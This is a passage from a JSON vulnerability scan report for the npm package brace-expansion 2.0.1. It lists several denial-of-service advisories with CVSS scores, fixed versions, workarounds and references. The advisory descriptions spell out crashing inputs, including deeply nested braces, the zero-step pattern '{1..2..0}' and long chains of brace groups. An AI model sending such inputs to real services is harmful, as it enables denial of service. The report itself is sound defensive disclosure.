}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
